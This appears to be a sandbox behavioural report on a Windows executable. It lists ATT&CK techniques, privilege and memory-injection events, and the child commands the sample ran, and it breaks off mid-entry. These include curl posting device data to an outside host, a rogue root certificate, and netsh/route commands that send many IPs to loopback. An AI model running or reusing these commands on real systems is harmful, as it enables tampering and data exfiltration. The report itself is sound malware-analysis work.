Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeLoadDriverPrivilege	3796	fltmc.exe
Token: SeLoadDriverPrivilege	3784	fltmc.exe
Token: SeLoadDriverPrivilege	4608	fltmc.exe
Token: SeLoadDriverPrivilege	4724	fltmc.exe
Token: SeLoadDriverPrivilege	3416	fltmc.exe
Token: SeLoadDriverPrivilege	2192	fltmc.exe
Token: SeLoadDriverPrivilege	1648	fltmc.exe
Token: SeLoadDriverPrivilege	2056	fltmc.exe
Token: SeLoadDriverPrivilege	744	fltmc.exe
Token: SeLoadDriverPrivilege	4968	fltmc.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Token: SeDebugPrivilege	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 4752	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	87
PID 2920 wrote to memory of 3960	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	89
PID 2920 wrote to memory of 3408	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	91
PID 2920 wrote to memory of 4724	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	93
PID 2920 wrote to memory of 4308	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	95
PID 2920 wrote to memory of 1200	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	97
PID 2920 wrote to memory of 1280	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	99
PID 2920 wrote to memory of 4244	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	101
PID 2920 wrote to memory of 4372	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	103
PID 2920 wrote to memory of 1648	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	105
PID 2920 wrote to memory of 3884	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	107
PID 2920 wrote to memory of 1964	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	109
PID 2920 wrote to memory of 2984	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	111
PID 2920 wrote to memory of 4632	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	113
PID 2920 wrote to memory of 4624	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	115
PID 2920 wrote to memory of 4728	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	117
PID 2920 wrote to memory of 3684	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	119
PID 2920 wrote to memory of 540	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	121
PID 2920 wrote to memory of 2632	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	123
PID 2920 wrote to memory of 1204	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	125
PID 2920 wrote to memory of 3256	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	127
PID 2920 wrote to memory of 536	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	129
PID 2920 wrote to memory of 3668	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	131
PID 2920 wrote to memory of 2324	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	133
PID 2920 wrote to memory of 3728	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	135
PID 2920 wrote to memory of 1356	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	137
PID 2920 wrote to memory of 3960	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	139
PID 2920 wrote to memory of 4212	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	141
PID 2920 wrote to memory of 1808	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	143
PID 2920 wrote to memory of 3996	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	145
PID 2920 wrote to memory of 1596	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	147
PID 2920 wrote to memory of 3412	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	149
PID 2920 wrote to memory of 3816	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	151
PID 2920 wrote to memory of 4584	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	153
PID 2920 wrote to memory of 3788	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	155
PID 2920 wrote to memory of 2996	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	157
PID 2920 wrote to memory of 1540	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	159
PID 2920 wrote to memory of 4896	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	161
PID 2920 wrote to memory of 3512	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	163
PID 2920 wrote to memory of 2432	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	165
PID 2920 wrote to memory of 624	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	168
PID 2920 wrote to memory of 4312	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	170
PID 2920 wrote to memory of 4332	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	173
PID 2920 wrote to memory of 540	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	175
PID 2920 wrote to memory of 4936	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	177
PID 2920 wrote to memory of 3696	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	179
PID 2920 wrote to memory of 2160	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	181
PID 2920 wrote to memory of 4652	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	183
PID 2920 wrote to memory of 2116	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	185
PID 2920 wrote to memory of 2304	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	187
PID 2920 wrote to memory of 3220	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	189
PID 2920 wrote to memory of 2620	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	191
PID 2920 wrote to memory of 4204	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	193
PID 2920 wrote to memory of 812	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	195
PID 2920 wrote to memory of 4056	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	197
PID 2920 wrote to memory of 5020	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	199
PID 2920 wrote to memory of 2364	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	201
PID 2920 wrote to memory of 4852	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	203
PID 2920 wrote to memory of 840	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	205
PID 2920 wrote to memory of 3824	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	207
PID 2920 wrote to memory of 4584	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	209
PID 2920 wrote to memory of 1280	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	211
PID 2920 wrote to memory of 4656	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	213
PID 2920 wrote to memory of 1540	2920	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe	215

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
"C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe"
1⤵
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks for any installed AV software in registry
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 15 --connect-timeout 10 -X POST -H "Content-Type: application/json" --data-binary "@C:\Users\Admin\AppData\Local\Temp\yng-admin-2920-240665062.json" "https://www.56789tl.com/api/device/register"
  2⤵
  PID:4752
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 25 --connect-timeout 10 "https://www.56789tl.com/api/policy?device_id=a936a51ae318517e99efbf6ed18df3de&version=0&force=1"
  2⤵
  PID:3960
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 set interface "Loopback Pseudo-Interface 1" weakhostsend=enabled weakhostreceive=enabled
  2⤵
  PID:3408
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 101.36.223.81 255.255.255.255
  2⤵
  PID:4724
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 101.36.223.81
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 101.36.223.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1200
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.132.234.124 255.255.255.255
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.132.234.124
  2⤵
  PID:4244
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.132.234.124 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.206 255.255.255.255
  2⤵
  PID:1648
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.192.209.206
  2⤵
  PID:3884
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.192.209.206 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1964
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.192.209.215 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2984
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.192.209.215
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.192.209.215 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.197.25.108 255.255.255.255
  2⤵
  PID:4728
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.197.25.108
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.197.25.108 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:540
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.241.247 255.255.255.255
  2⤵
  PID:2632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.205.241.247
  2⤵
  PID:1204
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.205.241.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3256
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.205.253.148 255.255.255.255
  2⤵
  PID:536
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.205.253.148
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.205.253.148 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2324
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.15 255.255.255.255
  2⤵
  PID:3728
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.217.192.15
  2⤵
  PID:1356
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.217.192.15 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3960
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.217.192.16 255.255.255.255
  2⤵
  PID:4212
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.217.192.16
  2⤵
  PID:1808
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.217.192.16 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3996
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.58 255.255.255.255
  2⤵
  PID:1596
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.36.165.58
  2⤵
  PID:3412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.36.165.58 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3816
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 103.36.165.68 255.255.255.255
  2⤵
  PID:4584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 103.36.165.68
  2⤵
  PID:3788
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 103.36.165.68 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2996
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.10.73 255.255.255.255
  2⤵
  PID:1540
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.10.73
  2⤵
  PID:4896
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.10.73 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.118.81 255.255.255.255
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.118.81
  2⤵
  PID:624
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.118.81 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4312
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.15.245 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4332
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.15.245
  2⤵
  PID:540
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.15.245 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4936
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.198.227 255.255.255.255
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.198.227
  2⤵
  PID:2160
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.198.227 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4652
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.2.176 255.255.255.255
  2⤵
  PID:2116
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.2.176
  2⤵
  PID:2304
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.2.176 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3220
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.22.38 255.255.255.255
  2⤵
  PID:2620
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.22.38
  2⤵
  PID:4204
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.22.38 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:812
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.23.246 255.255.255.255
  2⤵
  PID:4056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.23.246
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.23.246 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2364
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.28.69 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4852
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.28.69
  2⤵
  PID:840
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 104.21.28.69 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3824
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 104.21.32.43 255.255.255.255
  2⤵
  PID:4584
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 104.21.32.43
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\route.exe
